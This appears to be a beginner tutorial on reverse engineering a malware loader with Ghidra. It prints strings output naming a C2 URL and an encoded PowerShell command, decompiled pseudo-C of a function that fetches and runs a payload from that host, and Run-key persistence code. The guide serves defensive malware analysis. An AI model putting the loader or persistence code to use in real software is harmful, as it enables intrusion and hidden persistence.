Malware Reverse Engineering with Ghidra: Beginner Guide

In 2025, the SilkBean RAT campaign compromised over 400 small businesses by dropping a loader disguised as a PDF viewer update. Incident responders who cracked the sample open in Ghidra found the C2 address sitting in plaintext inside a suspicious string table — a five-minute discovery that would have taken hours with lesser tooling. This guide walks you through that same workflow: load a suspicious binary, find what matters, and understand what you’re looking at.

Setting Up Ghidra and Importing Your Sample

Ghidra is NSA’s open-source reverse engineering framework — think of it as a disassembler and decompiler rolled into one, free, and surprisingly powerful. Download it from ghidra-sre.org, extract it, and launch with ./ghidraRun on Linux or ghidraRun.bat on Windows. Always work inside an isolated VM — never analyze malware on a production machine.

Once Ghidra opens, create a new project: File → New Project → Non-Shared Project. Name it silkbean_analysis. Drag your sample — let’s call it pdfviewer_update.exe — into the project window. Ghidra will ask if you want to analyze it. Click Yes and accept the defaults. Analysis takes 30–90 seconds depending on file size.

Before touching Ghidra, run strings on the binary from your terminal. It’s a command-line tool that extracts readable text from any file — a fast, dirty first pass that often reveals everything.

$ strings pdfviewer_update.exe | grep -iE '(http|cmd|powershell|reg|\b192\.)'

Output:

http://192.0.2.47/gate.php
cmd.exe /c powershell -enc JABjA...
REGSVR32
C:\Users\Public\svchost32.exe
Mozilla/5.0 (compatible; loader/1.0)

That output tells you a lot before you’ve clicked a single button in Ghidra. You have a hardcoded C2 IP (192.0.2.47), a base64-encoded PowerShell command, a persistence path, and a fake user-agent string. An attacker is clearly trying to blend in with legitimate traffic. Your next move: block that IP at the perimeter immediately, then dig into Ghidra to understand how the binary reaches out to it.

Finding the C2 Callback Function in Ghidra

Back in Ghidra’s CodeBrowser, open the Symbol Tree panel on the left. Expand Functions. You’ll see auto-named entries like FUN_00401a30 — Ghidra names unrecognized functions this way. Use the Search → For Strings menu and search for gate.php. Ghidra highlights the exact memory address where that string lives.

Right-click the string reference and choose References → Show References to Address. This shows you every function that touches that string. Click the reference — Ghidra jumps you into the disassembly. Now hit F to open the decompiler view on the right panel. You’ll see something like this:

void FUN_00401a30(void) {
  char *url;
  HINTERNET hSession;
  HINTERNET hConnect;

  url = "http://192.0.2.47/gate.php";
  hSession = InternetOpenA("Mozilla/5.0 (compatible; loader/1.0)", 0, 0, 0, 0);
  hConnect = InternetOpenUrlA(hSession, url, 0, 0, 0x80000000, 0);
  recv_and_exec(hConnect);
  return;
}

Ghidra’s decompiler turned raw assembly into readable pseudo-C. You can see the malware calling Windows WinINet functions — InternetOpenA and InternetOpenUrlA — to reach out to its C2 server. The custom user-agent Mozilla/5.0 (compatible; loader/1.0) is a detection fingerprint your SOC can drop into a SIEM rule right now. The function recv_and_exec is where things get more dangerous — that’s the payload execution stage. Right-click it and choose Go To Function Definition to keep pulling the thread.

Identifying Persistence Mechanisms

Go back to Search → For Strings and this time search for svchost32. Follow the reference the same way. The decompiler output will likely show a RegSetValueExA call — the Windows API for writing registry keys. This is how the malware survives a reboot.

void FUN_00403c10(void) {
  HKEY hKey;
  char *path = "C:\\Users\\Public\\svchost32.exe";

  RegOpenKeyExA(HKEY_CURRENT_USER,
    "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
    0, KEY_SET_VALUE, &hKey);
  RegSetValueExA(hKey, "WindowsUpdate", 0, REG_SZ,
    (BYTE*)path, strlen(path) + 1);
  RegCloseKey(hKey);
  return;
}

The malware drops a copy of itself to C:\Users\Public\svchost32.exe and registers it under the Run key with the alias WindowsUpdate — crafted to look legitimate at a glance. On an infected host, your remediation steps are clear: kill the process, delete the dropped file, and remove that registry entry. Rename the function in Ghidra to install_persistence — this keeps your analysis organized as the sample grows more complex.

What To Do Now

Download a known-safe malware sample from MalwareBazaar (bazaar.abuse.ch) — filter for tag:loader and pick any recent Windows PE. Import it into Ghidra, run the auto-analysis, and use Search → For Strings to find any URLs or file paths. Follow one reference into the decompiler. You don’t need to understand every line — just find one function, rename it to something meaningful, and write two sentences about what it does. That single exercise will teach you more about malware reverse engineering than any hour of reading.